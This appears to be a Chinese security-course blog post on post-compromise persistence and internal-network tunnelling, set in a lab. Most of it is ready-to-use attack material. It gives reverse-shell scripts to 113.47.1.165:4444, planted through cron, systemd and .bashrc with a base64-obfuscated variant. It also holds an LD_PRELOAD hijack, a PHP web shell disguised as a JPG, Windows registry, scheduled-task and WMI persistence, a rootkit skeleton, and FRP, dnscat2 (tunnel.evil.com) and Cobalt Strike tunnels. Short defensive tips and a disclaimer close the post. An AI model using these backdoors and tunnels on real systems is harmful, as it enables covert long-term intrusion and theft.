内网渗透之权限维持与内网穿透

3 阅读4分钟

内网渗透之权限维持与内网穿透

马哥教育网络安全课程实战博客 · 第十三篇 对应课程章节:第25章 内网渗透之权限维持和内网穿透 实验环境:4台 Ubuntu 24.04 服务器,攻击机 113.47.1.165


一、引言

在内网渗透中,拿到初始 shell 只是第一步。攻击者需要解决两个核心问题:一是如何让访问权限持久化,即使目标重启或服务重启后仍然可以重新进入;二是如何穿透内网隔离,将内网深处的机器与外部攻击机连通。前者称为权限维持,后者称为内网穿透。

本篇将系统讲解两大主题的技术原理与实战操作,所有实验均在马哥教育实验环境中完成。


二、权限维持技术

权限维持的核心目标:在目标系统上建立多个隐蔽的持久化入口,确保即使某个入口被发现清除,仍有其他入口可用。

2.1 Linux 权限维持

2.1.1 Crontab 定时任务

最经典的持久化方式,通过定时执行恶意脚本实现权限维持。

# 攻击者生成反弹 shell 脚本
cat > /tmp/.sysupdate.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/113.47.1.165/4444 0>&1
EOF
chmod +x /tmp/.sysupdate.sh

# 写入 crontab,每 30 分钟执行一次
(crontab -l 2>/dev/null; echo "*/30 * * * * /tmp/.sysupdate.sh") | crontab -

# 隐藏 crontab 文件内容(利用特殊字符)
(crontab -l 2>/dev/null; echo "*/30 * * * * nohup /tmp/.sysupdate.sh >/dev/null 2>&1 &") | crontab -

检测方法:检查 /var/spool/cron/ 和 /etc/cron.* 目录,关注异常定时任务。

2.1.2 Systemd 服务

创建恶意 systemd 服务,随系统启动自动运行,比 cron 更隐蔽。

# 创建恶意服务单元文件
cat > /etc/systemd/system/sys-network.service << 'EOF'
[Unit]
Description=Network Management Service
After=network.target

[Service]
Type=simple
ExecStart=/tmp/.sysupdate.sh
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

# 启用并启动服务
systemctl daemon-reload
systemctl enable sys-network.service
systemctl start sys-network.service

检测方法:systemctl list-unit-files --state=enabled 检查异常启用的服务。

2.1.3 SSH 公钥后门

在目标 authorized_keys 中写入攻击者公钥,实现免密持久登录。

# 攻击者本地生成密钥对
ssh-keygen -t rsa -b 2048 -f ~/.ssh/backdoor_key

# 将公钥写入目标
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3...攻击者公钥...==" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# 攻击者连接
ssh -i ~/.ssh/backdoor_key target@<目标IP>

检测方法:检查 ~/.ssh/authorized_keys 中的异常公钥条目。

2.1.4 Bashrc 环境变量后门

利用 .bashrc 在用户登录时自动执行恶意命令。

# 在 .bashrc 末尾追加隐蔽后门
echo 'nohup /tmp/.sysupdate.sh >/dev/null 2>&1 &' >> ~/.bashrc

# 更隐蔽的写法:利用 base64 编码
echo 'eval $(echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTMuNDcuMS4xNjUvNDQ0NCAwPiYx" | base64 -d)' >> ~/.bashrc
2.1.5 LD_PRELOAD 劫持

通过 LD_PRELOAD 环境变量劫持共享库,在合法程序执行时加载恶意代码。

// evil.c - 劫持 write 函数
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count) {
    // 每次调用 write 时触发后门逻辑
    if (getuid() == 0) {
        system("/tmp/.sysupdate.sh");
    }
    // 调用真正的 write
    ssize_t (*real_write)(int, const void *, size_t);
    real_write = dlsym(RTLD_NEXT, "write");
    return real_write(fd, buf, count);
}
# 编译并配置
gcc -shared -fPIC -o /tmp/.evil.so evil.c -ldl
echo 'export LD_PRELOAD=/tmp/.evil.so' >> /etc/environment
2.1.6 PAM 后门

修改 PAM 认证模块,植入万能密码后门。

# 备份原始 pam_unix.so
cp /lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bak

# 修改 pam_unix.so 中的密码验证逻辑
# 植入万能密码 "magical_password"
# 任何用户使用该密码均可通过认证
# 此操作需要重新编译 PAM 模块,具体过程略

注意:PAM 后门修改系统核心认证组件,风险极高,实验环境操作后务必恢复。

2.2 Windows 权限维持

2.2.1 注册表自启
# HKCU 自启项(不需要管理员权限)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysUpdate /t REG_SZ /d "C:\Users\Public\sysupdate.exe" /f

# HKLM 自启项(需要管理员权限)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysUpdate /t REG_SZ /d "C:\Windows\Temp\sysupdate.exe" /f
2.2.2 计划任务
# 创建隐蔽计划任务
schtasks /create /tn "SysUpdate" /tr "C:\Users\Public\sysupdate.exe" /sc minute /mo 30 /ru SYSTEM /f

# 查看计划任务
schtasks /query /tn "SysUpdate"
2.2.3 系统服务
# 创建恶意 Windows 服务
sc create SysNetwork binPath= "C:\Windows\Temp\sysupdate.exe" start= auto
sc description SysNetwork "Network Management Service"
sc start SysNetwork
2.2.4 WMI 事件订阅

WMI 事件订阅是一种无文件持久化技术,不留下明显的文件痕迹。

# 创建 WMI 事件过滤器(系统启动时触发)
$filterArgs = @{
    Name = "SysFilter"
    EventNameSpace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter -Arguments $filterArgs

# 创建事件消费者(执行恶意命令)
$consumerArgs = @{
    Name = "SysConsumer"
    CommandLineTemplate = "C:\Users\Public\sysupdate.exe"
}
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer -Arguments $consumerArgs

# 绑定过滤器和消费者
$bindingArgs = @{
    Filter = $filter
    Consumer = $consumer
}
Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments $bindingArgs
2.2.5 DLL 劫持

利用 Windows DLL 搜索顺序缺陷,将恶意 DLL 放在合法程序搜索路径中。

# 查找存在 DLL 劫持漏洞的程序
# 将恶意 DLL 放在程序所在目录
copy evil.dll "C:\Program Files\VulnerableApp\version.dll"

# 当 VulnerableApp 启动时会优先加载同目录下的 version.dll

2.3 Web Shell 持久化

在 Web 服务器上植入 Web Shell,通过 HTTP 协议维持访问。

<?php
// 伪装成正常 PHP 文件
@eval($_POST['cmd']);
?>
# 更隐蔽的 Web Shell:利用 .htaccess 将图片文件解析为 PHP
echo "AddType application/x-httpd-php .jpg" > /var/www/html/.htaccess
# 将 PHP 代码嵌入 jpg 文件
echo '<?php @eval($_POST["cmd"]); ?>' > /var/www/html/images/config.jpg

2.4 Rootkit 基础

Rootkit 通过修改内核或系统底层组件,实现进程、文件、网络连接的隐藏。

// LKM Rootkit 示例框架
#include <linux/module.h>
#include <linux/kernel.h>

static int __init rootkit_init(void) {
    printk(KERN_INFO "Rootkit loaded\n");
    // hook 系统调用表
    // 隐藏指定进程/文件/网络连接
    return 0;
}

static void __exit rootkit_exit(void) {
    printk(KERN_INFO "Rootkit unloaded\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");

Rootkit 隐藏能力:

  • 隐藏进程:从 /proc 中移除指定 PID
  • 隐藏文件:从 readdir 系统调用中过滤指定文件名
  • 隐藏网络连接:从 /proc/net/tcp 中过滤指定端口
  • 隐藏自身模块:从 lsmod 中移除

三、内网穿透技术

内网穿透解决的是网络隔离问题:目标处于内网,无法直接被外部攻击机访问,需要建立隧道或代理来打通通信路径。

3.1 端口转发

3.1.1 Socat 端口转发
# 将本地 8080 端口转发到内网目标 192.168.1.100:80
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80

# 双向端口转发(支持多连接)
socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.1.100:80
3.1.2 Iptables NAT 转发
# 开启 IP 转发
echo 1 > /proc/sys/net/ipv4/ip_forward

# DNAT:将访问本机 8080 的流量转发到内网目标 80
iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.100:80

# SNAT:将转发流量的源地址改为本机
iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.100 --dport 80 -j SNAT --to-source 192.168.1.1
3.1.3 SSH 隧道

SSH 隧道是最隐蔽的穿透方式,流量加密且使用标准端口。

# 本地端口转发:将远程内网服务映射到本地
# 访问 localhost:8080 等于访问内网 192.168.1.100:80
ssh -L 8080:192.168.1.100:80 user@jumpserver -N

# 远程端口转发:将本地服务映射到远程
# 在 jumpserver 上访问 localhost:9090 等于访问本地 8080
ssh -R 9090:localhost:8080 user@jumpserver -N

# 动态端口转发(SOCKS 代理)
ssh -D 1080 user@jumpserver -N

3.2 代理链

3.2.1 Proxychains
# 安装
apt install proxychains4

# 配置 /etc/proxychains4.conf
cat > /etc/proxychains4.conf << 'EOF'
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5  127.0.0.1 1080
socks5  192.168.1.50 1080
EOF

# 通过代理链执行命令
proxychains4 nmap -sT -Pn 192.168.2.0/24
proxychains4 ssh user@192.168.2.100
3.2.2 SOCKS 代理
# 使用 ssh -D 创建 SOCKS5 代理
ssh -D 1080 user@jumpserver -N

# 使用 chisel 创建 SOCKS 代理
# 攻击端
./chisel server -p 8080 --reverse
# 目标端
./chisel client 113.47.1.165:8080 R:1080:socks

3.3 反向隧道

反向隧道是内网穿透最常用的技术:由内网目标主动连接外部攻击机,建立反向通道。

3.3.1 Ngrok
# 攻击机启动 ngrok
ngrok tcp 4444
# 获得公网地址,如 1.tcp.ngrok.io:12345

# 内网目标连接 ngrok
bash -i >& /dev/tcp/1.tcp.ngrok.io/12345 0>&1
3.3.2 FRP(Fast Reverse Proxy)

FRP 是功能强大的反向代理工具,支持 TCP/UDP/HTTP 多协议。

# frps.ini - 攻击机(113.47.1.165)服务端配置
[common]
bind_port = 7000
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = admin123
# frpc.ini - 内网目标客户端配置
[common]
server_addr = 113.47.1.165
server_port = 7000

# 反向 SOCKS 代理
[socks_proxy]
type = tcp
remote_port = 1080
plugin = socks5

# 反向 SSH
[ssh_tunnel]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 2222
# 攻击机启动服务端
./frps -c frps.ini

# 内网目标启动客户端
./frpc -c frpc.ini

# 攻击机通过 SOCKS 代理访问内网
proxychains4 nmap -sT -Pn 192.168.2.0/24
3.3.3 ReGeorg

ReGeorg 通过 Web Shell 建立 SOCKS 隧道,适用于只有 Web 端口可达的场景。

# 上传 tunnel.php 到目标 Web 服务器
# 攻击端运行 reGeorg
python3 reGeorgSocksProxy.py -u http://target.com/tunnel.php -p 1080

# 通过代理访问内网
proxychains4 ssh user@192.168.1.100
3.3.4 EarthWorm(EW)
# 正向 SOCKS 代理(目标可直连时)
./ew_for_linux64 -s ssocksd -l 1080

# 反向 SOCKS 代理(目标在内网时)
# 攻击端
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
# 目标端
./ew_for_linux64 -s rssocks -d 113.47.1.165 -e 8888

# 二级级联代理
# 第一跳
./ew_for_linux64 -s lsocks -l 1080 -e 8888
./ew_for_linux64 -s rssocks -d 192.168.1.50 -e 8888

3.4 DNS 隧道

当只允许 DNS 流量出网时,使用 DNS 隧道传输数据。

# dnscat2 服务端(攻击机)
ruby dnscat2.rb --dns port=53,domain=tunnel.evil.com

# dnscat2 客户端(内网目标)
./dnscat2 tunnel.evil.com

# 建立 DNS 隧道后可执行命令、传输文件
# dnscat2> session -i 1
# dnscat2> exec

DNS 隧道特点:

  • 适用于严格出网限制环境
  • 传输速度较慢(DNS 报文大小限制)
  • 流量特征明显,容易被 DNS 监控发现

3.5 ICMP 隧道

当只允许 ICMP(ping)流量出网时使用。

# 使用 icmpsh
# 攻击端
python2 icmpsh_m.py 113.47.1.165 <目标IP>

# 目标端
icmpsh.exe -i 113.47.1.165 -d <目标IP>

# 使用 pingtunnel
# 服务端
./ptunnel
# 客户端
./ptunnel -p <中继IP> -lp 2222 -da <目标IP> -dp 22

3.6 Cobalt Strike Pivoting

Cobalt Strike 提供强大的内网横向代理能力。

# SOCKS 代理
beacon> socks 1080

# 反向端口转发
beacon> rportfwd 8080 113.47.1.165 4444

# 跳板代理(通过已控主机访问深层网络)
beacon> socks 1081
# 在 CS 客户端配置 Proxy: socks 127.0.0.1:1081
# 即可通过跳板访问 192.168.2.0/24 网段

四、实战演练:从内网目标建立反向隧道

4.1 场景描述

攻击机: 113.47.1.165 (公网)
  │
  │ 已获取 Web Shell
  ▼
边界 Web 服务器: 192.168.1.10 (Ubuntu 24.04)
  │
  │ 内网隔离
  ▼
内网主机: 192.168.1.20 (Ubuntu 24.04)

4.2 操作步骤

步骤一:在攻击机部署 FRP 服务端

# 攻击机 113.47.1.165
cat > frps.ini << 'EOF'
[common]
bind_port = 7000
authentication_method = token
token = magedu_secret_2024
EOF

./frps -c frps.ini &

步骤二:上传 FRP 客户端到内网目标

# 通过 Web Shell 上传 frpc 和配置文件
# 在边界 Web 服务器 192.168.1.10 上操作

cat > /tmp/.frpc.ini << 'EOF'
[common]
server_addr = 113.47.1.165
server_port = 7000
token = magedu_secret_2024

[socks]
type = tcp
remote_port = 1080
plugin = socks5

[shell]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 2222
EOF

chmod +x /tmp/.frpc
/tmp/.frpc -c /tmp/.frpc.ini &

步骤三:通过 SOCKS 代理探测内网

# 攻击机配置 proxychains
cat >> /etc/proxychains4.conf << 'EOF'
socks5 127.0.0.1 1080
EOF

# 通过代理扫描内网
proxychains4 nmap -sT -Pn -p 22,80,445,3389 192.168.1.0/24

# 发现内网主机 192.168.1.20 开放 22 端口
proxychains4 ssh user@192.168.1.20

步骤四:权限维持

# 在边界服务器上建立 SSH 公钥后门
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3...攻击者公钥..." >> /root/.ssh/authorized_keys

# 创建 systemd 服务持久化 FRP 客户端
cat > /etc/systemd/system/sys-net.service << 'EOF'
[Unit]
Description=Network Service
After=network.target
[Service]
Type=simple
ExecStart=/tmp/.frpc -c /tmp/.frpc.ini
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable sys-net.service

步骤五:验证隧道连通性

# 攻击机验证
proxychains4 curl http://192.168.1.20:80
ssh -p 2222 user@113.47.1.165  # 通过 FRP 端口转发访问内网 SSH

4.3 清理与恢复

实验完成后务必清理所有后门和隧道:

# 停止 FRP
systemctl stop sys-net.service
systemctl disable sys-net.service
rm /etc/systemd/system/sys-net.service

# 清除 SSH 后门
# 从 authorized_keys 中删除攻击者公钥

# 停止 FRP 客户端
kill $(pgrep frpc)
rm /tmp/.frpc /tmp/.frpc.ini

五、总结

权限维持和内网穿透是内网渗透的核心环节。权限维持确保访问的持久性,内网穿透打通网络隔离。两者结合使攻击者能够在内网中建立稳固的立足点并向深层网络扩展。

技术类别Linux 方法Windows 方法
自启动cron, systemd, bashrc注册表, 服务, 计划任务
隐蔽后门SSH key, LD_PRELOAD, PAMWMI, DLL 劫持
网络隧道SSH, FRP, socatCobalt Strike
协议隧道DNS, ICMPDNS, ICMP

防御建议:

  1. 定期审计启动项、计划任务、服务列表
  2. 监控异常网络连接和流量模式
  3. 部署 EDR/HIDS 检测持久化行为
  4. 实施网络分段,限制横向移动路径
  5. 出网管控,限制非必要协议出站

下一篇我们将基于本篇建立的隧道,讲解横向移动技术与综合渗透演练。


免责声明:本文所有技术内容仅用于安全教育和授权渗透测试。未经授权对他人系统进行渗透测试属于违法行为。